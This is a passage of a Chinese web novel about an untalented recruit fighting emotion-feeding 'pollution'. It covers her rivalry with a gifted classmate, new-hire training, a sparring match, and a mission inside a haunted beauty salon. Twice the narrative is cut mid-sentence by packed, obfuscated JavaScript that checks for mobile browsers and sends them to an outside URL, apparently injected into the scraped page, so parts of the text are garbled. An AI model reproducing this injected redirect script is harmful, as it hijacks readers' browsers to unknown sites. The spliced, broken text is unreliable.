没推断错,乔时与“看”到了。“在左边那个桌子下面,挪开就能看见。” 阮砚瞳按她说的做,果然找到了。阮砚瞳拿起眼珠,放回操作台。 “多实用的天赋,给我多好。”【痕迹追踪】很适合实战,以污染区相关物品的密度,有这个天赋不用多久就能摸清宿主崩溃的原因。 可惜乔时与根本不想做作战员,作战素质也不太行,一直在及格边缘徘徊。她俩被大学老师标为恨铁不成钢二人组,一个比一个偏科。 乔时与听这话想起来问:“你进污染区也一点天赋觉醒的迹象都没有?” 阮砚瞳无奈,“你怎么还抱希望?” “你是我偶像的女儿,我相信我偶像。”乔时与笑嘻嘻说。 阮砚瞳白了她一眼。 “我妈是天才没错,但没准我爸是个废物啊。” 阮砚瞳没爸,她是阮青见试管来的孩子,跟本不知道是谁的精子,骂起亲爸完全没负担。 乔时与听惯这套了,没搭理阮砚瞳,手上重新开始处理附着链。为了防止连带反应,她把另一个眼珠装回容器。 附着链中同时含有宿主残留的情绪和污染物的信息,她检查了一会儿后,皱了皱眉头。 “这污染物好像是C级。” “哦对,好像是没吸食够情绪发育不良。”阮砚瞳解释。 那没什么问题了。 乔时与把附着链放回容器重新进库,摘下手套,在系统中输入检查结果。 情绪匹配 普通污染物,无异常 评级有误,纠正为C级 跟阮砚瞳走出实验室时,乔时与一直在活动肩颈。 “最近处理的污染好多,累死我了。” 乔时与看着一脸悠闲的阮砚瞳,“你是不是能休息几天。” 阮砚瞳点头,每次出任务后默认休息三天,但其实作战中心本身也没有强制的坐班规定。 乔时与:“早知道去作战中心了,坐班不适合我。” 阮砚瞳:“不过我过两天还是要去补新人培训。” 听到新人培训,乔时与突然想起来了什么。 “诶,你见到唐筝了吗,听说她的新人评级是C。她这个C的含金量可比我大多了,好像作战中心近三年只有这么一个C级。” 阮砚瞳听见唐筝这两个字,顿时没了兴致。“关我什么事。” “你跟人搞好关系啊,你之前不一直说你以后的路子就是抱紧大腿吗,这不就是一个发展中大腿。”乔时与拿肩膀碰了碰阮砚瞳。 “人家又看不上我。”阮砚瞳不情愿地嘟囔着。 “不是哦。”乔时与意味深长地对阮砚瞳摇了摇手指。“我觉得她就是太看的上你了。” 乔时与对她使了个眼色。“你信不信,你俩冤家路窄的,一定能碰上。” 阮砚瞳啧了一声,没搭茬,径直向科研中心的大门走去。 不跟上班的人瞎扯了,她要回家享受假期喽。 “阮砚瞳” 她即将走出大门时,乔时与叫住她。 又怎么了。阮砚瞳不耐烦地回头。 乔时与的表情很认真,没有半点刚才漫不经心的样子。 她似乎早就准备好要说什么,但始终没找到合适的时机。 “我觉得席局从来没停止过人造海事件的调查。” “我那天去开会,无意间看到一个领导的系统,那个领导级别很高。” “我看到阮青见事故的档案还在处理中,没被封存。” 11.入职培训 从科研中心回来之后,阮砚瞳睡了整整一天。 乔时与那天跟她说的事,她觉得蛮好的,她也想知道事情的真相。而且过去这么多年,除了她,还有很多人依然在意阮青见。 但这事她也帮不上什么忙啊。 一个F级新人,能做的事就是睡好觉恢复好体力,继续为下次任务鞠躬尽瘁。 阮砚瞳醒来的时候都是第二天下午了,她是被饿醒的。她起身抓着头发想去找吃的。 路过客厅的时候,她看到地上躺着一个旅行包。 阮砚瞳停住去往厨房的脚步,盯着地上的包,清醒过来,转身推开隔壁卧室的门。 躺在床上的人转过头来。 “瞳瞳,早呀!” 躺着的人是阮砚瞳的小姨,阮由苜。 阮青见死后,阮砚瞳就一直跟她生活在一起。阮由苜这个之前一直不太靠谱的小姨,独自担下了抚养阮砚瞳的重担,把她照顾大。 但在阮砚瞳上了高中,完全有生活能力和基本处理事情的能力后。阮由苜宣布她要开启她的环球旅行计划。 阮砚瞳本来想说到处都是污染,你又跟我一样没天赋,你这出去我不会真彻底变成孤儿了吧。 但可能小姨想甩开她很久了,她看上去实在是太开心了,开心到阮砚瞳把想阻止的话都咽了回去。 行啊,上天保佑吧。 可能是阮青见在天上也很厉害,真的保佑她妹妹一直平安无事。但就是一年到头阮砚瞳也见不到小姨几次,每次都是突然就走了,又突然回来。就像这次一样。 “你什么时候回来的。”阮砚瞳问。 “中午,我看你睡的太香,没打扰你。” “最近还要走吗。” “再说吧,还没定。” “哦。” 阮砚瞳关上房门。 然后又再次推开。“忘了跟你说了,我工作了。” “呀!” 阮由苜从床上跳下来,捧住阮砚瞳的脸蛋。 “恭喜呀!这么大的事你怎么不告诉我一声。” “事出突然,没来得及。”阮砚瞳说完意识到自己凭什么这么乖。 “你每次来来回回不都也不告诉我,我为什么要跟你汇报。” 阮由苜揉搓着阮砚瞳的脸,笑眯眯地说:“因为我是你小姨,我是长辈,你只能听话。” 阮砚瞳翻了个白眼。 “跟我说,席溪没给你什么脏活累活吧,当时你妈在的时候,我还跟她打过照面呢,就看在我的面子上,她也得关照关照你吧。” 阮由苜说起局长席溪时,就跟说起一个邻居一样,半点对权威的敬意都没有。 阮砚瞳心想,就算关照也轮不到你的面子啊。席溪是阮青见的队员,澄渊小队唯一的幸存者。 就算退八百步来讲,如果席溪真的照顾阮砚瞳,那也是看在阮青见的面子上。 但她没驳小姨的话。“人家是局长,管我干嘛。你就别操心了,任务很顺利,我队长也很好。” “好好好,好就行,这两天咱吃点好的,庆祝你入职。” --- 跟小姨在家当了两天的米虫后,阮砚瞳来上班了。 她来到作战中心7楼综合事务部,这层明显比作战部热闹许多。 阮砚瞳路过财务办公区。 “刘总,咱是不是得控制一下食堂的开销,规定一下,白天不来上班的就别特意跑来吃饭了,公司又不是他家后厨。” “吃个饭能吃多少啊,平时出生入死的,总得管饭吧。” “或者让采购控制一下,您看看,上个月光特级牛排就买了2吨,又不是米其林,为什么要用这么高端的食材。” “当然要保证营养啊,我给你写个说明,你应付过去就行了。” 进对公司了啊,阮砚瞳听的都饿了,咽了咽口水,开始盘算几点去食堂开饭。 进入会议室,做新人培训的员工已经在那等着了。 “你好,我是阮砚瞳。”阮砚瞳先做了自我介绍。 座位上的员工抬起头。“你好,我是梁安,负责员工的综合行政工作。先坐着等会吧,还有一位新人员工一起培训。” 阮砚瞳坐下,心里犯嘀咕。这批毕业生大部分两个月前就入职了,怎么还有跟她一样来这么晚的新人。 半晌,会议室的门被推开,来人的视线正好跟阮砚瞳对上。阮砚瞳看清是谁后,迅速转回了头。 靠,真被乔时与说中了,冤家路窄。 “你好,我是唐筝。”唐筝和梁安自我介绍之后,在阮砚瞳对面坐了下来。 阮砚瞳觉得有些尴尬。这合理吗,把C级跟F级放一起做培训。 梁安微笑着对唐筝说:“你从入职就一直在出任务吧,辛苦了。” 唐筝点点头。她毕业就入职了,但一直没空参加新人培训,最近刚抽出时间,赶紧过来把流程走完。 梁安:“不过你们都是澄渊学院同一届毕业的,之前认识吗?” 阮砚瞳和唐筝对视了一眼。 何止认识,太熟了。 唐筝也是从澄渊附小一路念上来的,是个标准学霸,几乎全部时间都在学习训练,成绩非常优异。 最开始阮砚瞳也是个三好学生,跟唐筝两个人常年霸榜年级前二。 她俩就是彼此最大的竞争对手,铆足了劲要争第一,针锋相对,半分谦让没有。 但这都是小时候的事了,后来唐筝早早就觉醒了天赋,阮砚瞳一直那个样子,就失去了比较的意义。 阮砚瞳拿别人训练天赋花费的那么多时间来磨战斗技巧,就算更强,也是胜之不武。 而唐筝这些年一直保持年级第一,全A毕业,并且天赋始终是A+,没有对手。 但阮砚瞳不知道唐筝的天赋到底是什么。 每个天赋者的天赋都是单独训练,除非必要情况,也不会对外公开。阮砚瞳跟乔时与是太好的朋友了,所以对她的天赋门清,但她和唐筝完全算不上好。 阮砚瞳现在还能记起来,她小学的时候向这个一直以来的竞争对手提议。 “我们做朋友吧。” 唐筝面无表情地看着她。 “不要。” 切,不稀罕拉倒。 虽然她们俩相看两厌,一直不怎么说话,但除了这件事让阮砚瞳不爽之外,她觉得唐筝人应该还不错。 她没觉醒天赋时,收到了很多嘲讽讥笑和不屑。她原以为唐筝也会这样,毕竟多年的对手再也不可能打败她了,从此之后她就是毫无疑问的第一名。 她那么想坐稳第一,这对她来说是多大的喜事啊。 但唐筝没因为这个事情跟她说过任何话。 那段时间,阮砚瞳总觉得唐筝看她的眼神很复杂。 感觉,她很失望,甚至有一点难过。 阮砚瞳像理解不了唐筝为什么拒绝跟她做朋友一样,也理解不了她当时到底什么感受。 她也懒得理解。 阮砚瞳看着坐在对面的唐筝,不情愿地嗯了一声。 梁安看出两个人有些微妙,赶紧切入正题。“那我先介绍下基本制度。” 说是基本制度,但阮砚瞳听下来就是没什么制度。 有任务出任务,任务结束后会有至少三天的休息,不会排任何日程。 作战部平时也不需要坐班,而是采取训练时长为标准,只要每个月在公司训练时长达标,就能拿全勤。 如果对所在队伍及人员分配有任何不满,随时可以无理由退出或转队,严禁任何追责或为难。对工作和职务倦怠,也可以协调转岗。工作满一年的员工,可以申请对应时间的暂停工作,期间发放最低标准工资。 除此之外还有一些基础福利,食堂免费,内购半折,无限次免费体检,节假日加班三倍工资。 还有一些非常透明合理的晋升机制,阮砚瞳心想跟她也没关系,这部分一直在溜号。 总而言之,除了随时有没命的风险,其他就是梦中情司。 介绍完制度,梁安带着两人熟悉了作战中心的各个楼层和部门。看了一圈之后,她们来到训练区。 作战中心9-12层都是训练区,不仅作战部需要积累训练时长,作战中心所有部门都有不同程度的训练任务,因此训练区的规模很大。 但最常来的还是作战部队员,她们在这儿待的时间要比待在5楼办公室的时间长的多。 新人培训的全部内容已经结束,梁安与她们再见道别:“祝你们在作战中心工作顺利,生活愉快。” 梁安走后,阮砚瞳心里正琢磨着是先训练还是去食堂吃饭,唐筝转过头问她。 “练练?” 又开始了,这人从小就这样。 不过阮砚瞳想想,好像也好久没跟她比试了。 “练练呗。” 阮砚瞳应了下来,不是天赋的话,还是能比一比的。 两人就近进了射击训练场。 射击训练跟学院里的没什么太大区别,分为单独训练和合作模式,根据命中率、命中位置及完成速度计算总得分。 选择合作模式后,阮砚瞳和唐筝各自选好枪,背靠背站到场地中央的圆圈里。 圆圈的绿灯亮起,训练开始。 实体靶不断出现,阮砚瞳没浪费一颗子弹,全部命中,甚至有两次抽空转头打了唐筝半区的靶子。 射击是阮砚瞳强项,开枪对于她来说有一种奇妙的解压效果,她不开心的时候就每天泡在射击场训练,有段时间她基本一整年都在那。 红灯亮起,一局完毕,两人得分显示在墙上。 103VS91 阮砚瞳胜 阮砚瞳脸上淡然,放下枪扭头走出训练场,但心里按捺不住狂喜。比过唐筝还是让她蛮开心的。 阮砚瞳:“还练什么。” “格斗吧。”唐筝声音没有一丝波澜。 她在强撑吧。阮砚瞳心想。 格斗训练区比较开阔,几个场子连在一起,周围甚至有围观的坐席。 阮砚瞳和唐筝到的时候,已经有好几组人在进行训练,她们挑了块空场地。 训练不是比赛,没有裁判,输赢靠自己约定。 唐筝:“老规矩,一方被限制行动力10s,另一方获胜。” 阮砚瞳点了点头,开始和唐筝面对面做拉伸。 她很久没跟唐筝一起训练了,她们的关系好像和成绩榜上的名字一样,开始的时候缠缠绵绵,总觉得这个人阴魂不散的,后来阮砚瞳的成绩越来越靠后,唐筝也像是在她生活中消失了一样。 唐筝长相倒是一点没变,眼睛不大,但非常坚定有神。而且永远是这个长度的中短发,然后利落地扎起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918496|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拉伸结束,唐筝俯下身来,眼神立刻展现出了攻击性。 “开始吧。” 话音刚落,两人同时动了起来。 唐筝率先发起攻击,拳头呼啸而至,阮砚瞳侧身闪过,然后立刻反击,转身一记高扫腿,唐筝早有准备,起手格挡。 她们太熟悉彼此了。 人的习惯很难改变,阮砚瞳完全知道她下一步要干什么。 唐筝也一样。 双方开始陷入激战。 她们俩打的难舍难分,周围也渐渐围上了一圈观众。 姜岑恰好今天来训练,正结束准备离开的时候,看到了阮砚瞳在格斗,就在外圈找了个长凳坐下。 还真有点东西,出手果断有想法,身形灵活。虽然天赋没遗传到,但格斗还是有点阮青见的影子的。姜岑喝着瓶装水,盯着不远处的交战。 有个人突然坐到她身边的空位上。 姜岑瞟了一眼,旁边的男生身子前倾,胳膊杵在腿上,拿着盒牛奶咬着吸管,看着场上正打的激烈的两个人,眯了眯眼睛。 姜岑:“稀客啊,今天怎么发奋图强来训练了。” “说什么呢,我可是认真工作的好员工。” “呵。”姜岑摇着头,无语的笑了一下。“你要是有这上进心,也不可能几年了评级一动不动。” 男生满不在乎,“怎么了,你看你现在也是C,我也是C,没区别,我比你早评上,就要继续进步吗?没这道理。” 姜岑拍拍男生肩膀,指了指场上的唐筝。 “朱淮也,你作为上一个评级为C的新人,看看这么努力的新一代C,不觉得惭愧吗。当时你的评级出来的时候,多少男同学都热血沸腾的。” C级新人几年难得一遇,出现了都会引起关注。唐筝刚入职一个月,整个作战部基本都知道她了。而C级的新人男性更少,几年前朱淮也出现时,很多男同学都觉得这是为男人先天不足的说法正明了。 结果三四年过去,他一点长进没有。 朱淮也:“他们热血沸腾关我什么事啊,我可不对他们负责。” 他看着训练场上格斗的两个人问姜岑:“诶,另一个是谁啊,看上去也挺厉害的,你认识吗?” 姜岑:“替你出任务的那个新人。” 乐队任务原本的另一个队员就是朱淮也,但他因为天赋匹配被另一个级别更高的任务借调走了。天赋太实用就是这个困扰,经常排着队来借他。 朱淮也:“是D级吗?” “F” 朱淮也咽下口中的牛奶,免的呛到自己。 “没天赋?” 他惊讶地转过头看姜岑。姜岑点了点头,表示肯定。 一般人没天赋就不干这行了,这个人怎么没天赋还练到这么厉害。 姜岑没再解释什么,继续看训练。 她们已经打了半小时了,阮砚瞳找到空隙,拦腰将唐峥摔倒地上,把她压在身下。 1s、2s、3s,唐筝用全力挣扎,阮砚瞳吃力地压着。 咕~ 阮砚瞳的肚子不争气地叫了一声。 好饿,跟唐筝商量一下吧。 “咱今天就打到这吧行吗。” 唐筝听到这话瞪大了眼睛。“哈?你不会在耍计谋然后趁机赢了吧?” 阮砚瞳因为觉得荒唐,也睁大了眼睛。不是这人怎么还是这么好胜啊。 下一秒,阮砚瞳被唐筝掀翻,压倒在地,局势出现了反转。 唐筝:“你要是认输就可以打到这啊。” 靠。 阮砚瞳胜负欲完全被激起来了。 又是三十分钟。 她俩打到都没什么劲了,动作也变了形,周围人都打着哈欠离开了。 好多人也不知道唐筝这是图什么,一个C级的打半天打不过F级的,被不知情群众听了不会被笑话吗。 阮砚瞳和唐筝打到并肩躺在地上,两条腿互相控制着,手也死死压住对方。 俩人互相牵制,谁都动不了。 十秒过后,阮砚瞳艰难的挤出一句:“平局”。 唐筝同意,这才松下劲。 她们躺在地上,大口喘着气。喘着喘着,阮砚瞳突然觉得好笑,笑了出来,转头看了一眼唐筝。 唐筝面无表情地看着她。 阮砚瞳立刻止住笑容,扭过头。 这人真没劲。 唐筝看着阮砚瞳吃瘪的表情,也扭过头,然后暗自笑了一下。 歇了一会儿,唐筝先起身,重新扎了扎头发。然后低头对躺在地上的阮砚瞳说:“有机会再练。” 阮砚瞳看着她离开格斗训练场,然后走向天赋训练区。 这是什么训练狂魔,连饭都不吃了。 阮砚瞳起身回到休息区,把脑控重新戴上,发现几条未读信息。 一条来自姜岑:很精彩的格斗。 阮砚瞳被夸了很开心,她刚才都没注意到姜岑在场下观战。 她回了一个奋斗的表情包。然后打开林安时的未读消息 林安时:过两天要出任务哦!做好准备,任务当天下午13:00见。 紧接着是系统任务派发提示。 【任务编号:C00319 任务场景:美容院 任务所属:作战3队-队长林安时】 【请确认是否接受】 12.疯狂美容院(1) 任务日,阮砚瞳提前来到地库和林安时姜岑汇合。 那天阮砚瞳接受任务后,回家把林安时在频道内共享的全部资料仔细读了一遍。 这次的任务等级是C级,污染区是一个美容院。污染爆发瞬间,院内所有人都未能幸免于难,后续几天有一些不明群众进入后,也被吸食情绪死亡。 美容院。这也是个很有针对性的场景,目标情绪很好猜。 为了建立心理防御,阮砚瞳从昨晚到现在对着自己说了无数遍,我超美,我对自己的长相超满意。 林安时和姜岑一起来的。见到阮砚瞳,林安时笑着说。“听说你前几天跟C级新人打了一场很漂亮的格斗。” 作战部的消息传的可真快啊。 “随便活动一下。”阮砚瞳谦虚地说。 “下次可以挑战下姜岑,她的连胜纪录还没被打破呢,好像已经十二连胜了吧。”林安时赞许地看向姜岑。 “十六。” 姜岑纠正完,率先钻进移动仓。 等到三人就位,移动仓前往任务地点。 林安时操作完系统,对阮砚瞳说:“有一点忘了提醒你,如果你对某个任务场景有极度不适,也可以拒绝参与任务,不会对你有任何影响。” 没等阮砚瞳回话,林安时马上说。“但现在来不及了哦,这次任务又只有我们仨。” 姜岑听出来了一些弦外之音,问林安时:“朱淮也不会是以个人原因拒绝了这个任务吧。” 林安时微笑着点了点头。阮砚瞳觉得这个笑不一般,里面还隐约藏了杀气。 姜岑疑惑:“理由是?” “他说他有严重的容貌焦虑,不适合这次任务。” “哈?”姜岑忍不住提高了音量。这也太离谱了。 朱淮也的样貌,按大众化标准来说,确实称得上帅,而如果一个男的长得但凡有一点帅,那他绝对是自知的。就算他开始不知道,也会有人排着队告诉他。 姜岑自己不太在意外貌,林安时看上去对自己也很自信,但如果真的要比这方面的心态,她觉得都比不过朱淮也。他才是最适合这个任务的。 但他连拒绝都懒得找个看上去合适的理由吗。 姜岑直摇头:“我有时候会觉得中心的管理实在是太松散了。” “算了,随他吧。”林安时开始时笑着,随后眼神转为阴鸷。 “但我想他应该不会想要尝试连续拒绝我两次。” 虽然不知道这个朱淮也是谁,但阮砚瞳也想劝他别这么做。她看林安时现在的神情,完全理解了笑里藏刀这个词语在形容什么,跟平时对她无害的笑容完全不一样。 阮砚瞳不敢插话。 林安时注意到阮砚瞳想问不敢问的样子,主动和她解释。“朱淮也是我们组另一个队员。” “不过也不算完全属于我们组,他经常去支援别的组出任务。因为他的天赋很实用。” “作战部任务交际花。”姜岑补充道。 阮砚瞳点了点头。 聊着的过程中,任务地到了。 【已到达指定地点,我会在此等待你们返回,祝您工作顺利。】 阮砚瞳下车,抬头看了看上面的招牌。 「皙颜美容院」 美容院的外观是那种轻奢风,白色的外墙中嵌着暖黄色的灯光。墙上有几扇大块的落地窗,但被白色纱帘遮住了室内的场景。 美容院的solgan印在了名字一楼和二楼之间的位置。 “皙颜,给你美妙人生。” 还挺会讲的。 林安时问:“有人之前来过美容院吗。” 姜岑和阮砚瞳双双摇头。 “我也没去过,进去先摸摸流程吧。”林安时扭头找阮砚瞳。“你还是跟我走。” 阮砚瞳直起了身板。 阮砚瞳:“上次队长救了我,这次活着还得要靠你。” 林安时笑眯眯回复:“好呀,你继续给我加油。” 阮砚瞳跟林安时达成了一致,再次体会到了建立联系的奇妙安定感。 两个人又嘿嘿笑了起来。 姜岑无语。 怎么还成固定节目了。 节目结束,三人越过警戒线,推开美容院的大门。 一楼进门是宽敞的大厅,一边有几个沙发和桌子,看上去是个很舒适的休息区。另一边有一张半弧形前台,用来顾客的引导和登记。两个区域之间有一条通往诊区的走廊。 里面一切如初,干净整洁,就像是一家正常营业的美容院一样。 除了这里的所有“人”都是尸鬼。 这次的尸鬼与上一次livehouse中的明显不同。 livehouse里的尸鬼十分呆滞,在污染物觉醒前无论如何都无动于衷。但这里的尸鬼显然能力更高。它们对活人有反应,会触发相应的动作。 一个尸鬼护士看到她们进门,匆忙赶过来引导,僵硬地对着她们微微鞠躬。 “欢迎光临...皙颜美容院...” 说完,她抬起头,看着她们三个。 阮砚瞳看清了来的尸鬼,本能地往后躲了躲。 这个尸鬼的样貌实在是有些特别。 锥子一样的下巴,超级大的眼睛开了眼角做了双眼皮,鼻子高的能怼人,嘴巴是小嘴嘟嘟唇。该有的要素一个不少,一张标准的蛇精脸。 护士没在意她们诧异的打量,引导她们走向咨询台。 这次是个正经C级污染物,发育良好,操纵着尸鬼,随时等待着新的“供给品”。 前行的过程中,阮砚瞳环视了大厅一圈。 大厅中的几只尸鬼,有护士,有顾客,该有的角色一个不少。样貌...也都蛮特别的。 阮砚瞳忍不住问:“她们全部都是产生了目标情绪死亡的吗。” 林安时解释:“污染刚爆发时非常危险,污染物寄生宿主获得力量,需要吸食大量的情绪支撑,爆发时跟场景牵连比较深的人会迅速被引诱出相关情绪。” “基本只要是你在这个场景中产生过这种情绪,都会在那一刻被引诱出来,很难抵挡。而且有时也会强行发动攻击将人变成尸鬼,不过这种尸鬼容易断联,不太稳定。” “尸鬼的样子也会按污染的需要进行改变,你看到的这些尸鬼,未必之前就长这个样子。” C级以上的污染物能够制造幻觉,也能改变场景。它需要建造自己的区域,然后经营它,引诱更多的人进入,产生情绪。 简单点说,它会诱捕你。 在前台等待着她们的,同样是一位蛇精脸护士。她按流程询问三位顾客。 “是...第一次...来吗...” 林安时点头。 前台护士拿出三张基础信息表格,示意她们填写。 表格上是一些基础信息和皮肤自评,还有一些对自己容貌哪里不满意之类的。 阮砚瞳看了看,拿起笔开始写起来。毕业的时候她填了一堆表,这点东西她信手拈来,填的飞快。 姜岑瞟了一眼表格,一点兴趣没有。她不爱跟人打交道,通常对外沟通这种活都是林安时干。 “我去别的地儿转转。”姜岑跟林安时打了声招呼,自行离开了。 阮砚瞳依然埋头填表,但填到“对容貌哪里不满意”这个问题时,起了警惕心。 这是一道诱导性问题,你开始因此思考时,很容易产生目标情绪。 阮砚瞳想看看林安时怎么填,于是抬起头。 然而立刻映入她眼帘的,是一张离她非常近的,变形的脸。 蛇精脸护士正用她大的不协调的眼睛,静静盯着她。 阮砚瞳觉得头皮发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922584|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻。 护士开口了。 “小姐姐...很年轻...好让人羡慕...” 她想说什么? “但要注意清洁哦...鼻子上的黑头...很明显呢...” 说着,护士拿出一面小镜子,近距离怼在阮砚瞳眼前。 额,确实挺明显的。她休息这两天跟小姨在家吃炸鸡吃的油光满面的。 不过这么明显的陷阱,阮砚瞳不会上当。 林安时听到对话,也抬起头。护士没放过这个机会,直接凑了过去,开始夸赞。 “您的皮肤保养的很好...” 阮砚瞳也扭过头,仔细看了看林安时的脸。 林安时肌肤状态很好,属于天生好皮肤的那种,毛孔很小,整张脸都干干净净的。不像阮砚瞳这种敏感肌,一有刺激就出状况,这方面真的很让人羡慕。 【系统提示情绪熵值-1%】 危险总出现在这种没有防备的时候。 阮砚瞳拍了拍自己的脑子,提醒自己打起精神。 护士全然不在意她这边的情况,继续对林安时说:“但好像...您的眼角已经有一点皱纹了...” 阮砚瞳看到林安时的青筋跳了一下。 频道的情绪监控中显示【林安时情绪熵值+1%】 你说你惹她干嘛,阮砚瞳很想说。林安时今天的心情是真的不大好。 林安时虽然不爽,但没回怼护士这句话。她把手里填好的表格递给护士。 阮砚瞳迅速描了一眼那道题下林安时写的回答,火速照抄下来。 无。 我们对自己的容貌超满意。 阮砚瞳也交了卷。 护士收到表格之后,继续她的流程。 “我们接下来...要做个肌肤检测...测试您肌肤的...整体状态...” 说着,它挪动身体,引领阮砚瞳和林安时进入通往后方的走廊。 走廊里面都是独立的小房间,所有门牌上统一写着“处置室”。大部分房间的门都是关着的,看不到里面到底有什么玄机。 进到这个区域之后,来了两个护士,想要将阮砚瞳和林安时带往不同的房间。 林安时停住脚步,提出疑问。“我们是一起的。” 护士微笑解释:“这是...尊享独立空间...会有护士为您提供...一对一服务...” 这话听着就有鬼。 林安时尝试不理她们,和阮砚瞳站在一起。 但护士表现的很坚决,如果她们不分开,就进不了这个环节。 林安时和她们僵持不下,但又实在想知道她们接下来要干什么,于是转过身,担心地询问阮砚瞳:“你自己可以吗?” “我可以啊。”阮砚瞳毫不犹豫地说。 姐我还没有那么废,不是放出圈就被叼走的弱鸡。我只是没天赋杀不了污染物,这些尸鬼还是能应付的。 “那你有问题及时喊我。”林安时叮嘱。 阮砚瞳冲她比了一个ok的手势,跟着引领的护士进了另一个房间。 这个房间不大,中间摆着一张床,旁边的小桌上放着一台带着屏幕的检测仪器,桌前有一张没有靠背的小凳子。 房间的一个角落有一个水池,水池上方挂着一面镜子。 护士:“请您...先洗脸...卸妆...” 阮砚瞳没化妆,出来干脏活累活化什么妆。但这些护士像是在执行设定好的流程一样,不完成这一步就开启不了下一步。 她只好来到洗手台边,打开水龙头,闭上眼睛开始洗脸。 洗完脸,她抬头睁开眼,正好看到镜子里的自己。 嗯?我眉毛怎么没了? 没有眉毛的话,真的是好奇怪的一张脸。 【系统提示情绪熵值-2%】 13.疯狂美容院(2) 一定是幻觉。 阮砚瞳闭上眼睛,冷静了一下,重新睁开。 眉毛还是没长出来。 但镜子里多出一张脸。 阮砚瞳心下一惊。 那张脸上的小嘴一张一合,开始说话。 “怎么了...客人...有什么问题吗...” 是刚才的护士。 “没事。”阮砚瞳从另一侧转身,离开镜子的视野。 就当它没事吧,眉毛没了而已,啥事都不耽误。最大的事是面前这个尸鬼。 “那请您...躺在床上...我为您做...肌肤检测...”护士做了个请的手势。 阮砚瞳在床上躺下后,才注意到她视线正上方的房顶有一盏布满了灯珠的灯,旁边还挂了一个小盒子。 阮砚瞳对这个小盒子很眼熟,这好像是,信号屏蔽器。 她打开脑控,果然信号很弱。 怎么做美容还要屏蔽信号,难道是怕护士工作时候摸鱼吗。 没等她想想清楚,一双手就覆盖住了她的眼睛。 护士:“电子设备...会影响检测效果...所以这里有屏蔽...请您全程闭眼...保证检测的准确度...” 这是在放什么屁。肌肤检测干电子设备屁事。 阮砚瞳突然觉得自己在被当个傻子整,这肌肤检测多半也是骗人的。她心里有些烦躁,想这部分赶紧结束。 但护士远比她有耐心。她细心地把阮砚瞳的整张脸都涂满膏体,然后拿着仪器在阮砚瞳脸的上方移动。 阮砚瞳耳边不断响起按动仪器的咔、咔、声。 “您的黑头问题...有点严重哦...” 知道了,刚才都说过一次了。 “您平时...很容易长痘吧...” 是啊,但放在那不管它就下去了。 “您的脸...比较干燥...要定期...做保养才对哦...” 从这句开始,阮砚瞳闻到了一股营销话术的味。 果然,护士开始了她的推销。 “我们现在店庆...办会员卡...有优惠...不止打八折...还送定期的肌肤检测...” 阮砚瞳果断拒绝:“不用了。” “您再想一下...错过这次...就没有这么好的机会了...而且您的肌肤...” 阮砚瞳不想继续听废话,打断她。“差不多可以了,我姐还在外面等我。” 她搬出林安时当借口,想催促让护士把脸上的东西卸下去,她好离开这儿。这里没什么多余的信息,就是个买卡的环节。 但护士完全没想按照她说的意思去做,依然继续推销。“我们家...是十五年老店...服务效果您放心....” 阮砚瞳耗不下去,睁眼打算起身。 但还没等她动作,头顶的排灯毫无预兆地突然亮起,刺眼的灯光让她一阵眩晕,她迅速眯起眼睛,想要抬手挡,减少强光对她的干扰。 护士迅速伸手压住阮砚瞳的肩膀,将阮砚瞳微起的上半身再次按到床上。 她继续诱导阮砚瞳。“和您一起来的客人...已经办了会员卡...” 这话对于同行的人来说,很多时候是有用的。大家会因此放下一些戒备,本着对朋友的一丝信任,或者从众心理,很多人从这里开始逐渐妥协。 但阮砚瞳不会上这个当。 鬼扯。林安时才不会依着你们。 尸鬼护士还是紧紧按着她的肩膀,完全没有放她离开的意思,好像她不办这张卡就不让她走。 “您再...考虑一下吧...”护士的语气近乎于恳求。 阮砚瞳最烦推销的,而且她也不想配合着说要办卡,别到时候假戏真做,真用扣款机把她钱划走了。 她上班是来挣钱的,不是来倒贴钱的。 阮砚瞳伸手去扒尸鬼护士的手,想让她把手拿开。但尸鬼护士的整个胳膊像是个钢架子一样固定在那里,完全推不动。 阮砚瞳叹了口气,没办法了。 咔嚓。 阮砚瞳把尸鬼的手掰断,然后起身下床。 尸鬼护士没有任何反应,甚至没有看自己折断的手。 她是个护士,也是个推销员,她遇到过各种各样愤怒的顾客,会做出各种各样的举动。但她是个专业的员工,不会因此生气,也不会因此难过。 她还是恋恋不舍地注视阮砚瞳,想要再争取一下。 这是她的工作,她要继续她的工作内容。 “客人...您不能这样离开...脸上涂抹的东西...需要专门的清洗液清洁...不然会伤害皮肤...” 这大概率还是推销话术的一环,这个专门的清洗液说不定又是坑钱的。 阮砚瞳没理她,去洗手池把脸洗干净之后,走出了这间屋子。 护士的声音依然不死心地在她身后回响。 “我们现在周年庆...办卡很划算的...” 阮砚瞳砰的一声把门关上,隔绝了里面的声音。 来到刚才的走廊,阮砚瞳连着推开了几个房间的门,都没找到林安时。 可能队长已经走了。林安时对尸鬼的耐心可没有阮砚瞳多。 先找个有信号的区域吧。阮砚瞳这么打算着,找到楼梯向上走去。 在二楼的楼梯口,她看到棚顶吊下来的提示牌,上面写着“整形科”。 业务挺齐全,还做整形的生意。 阮砚瞳走进二楼的大厅。和正常的大厅不同,这里四处都布满了镜子。即使是休息座椅前,都悬挂着镜子。 让你只要睁着眼,就不得不直视自己的容貌。 这应该是污染物对区域的改造,通过场景引诱进入其中的人产生目标情绪。 不能让它得逞了。 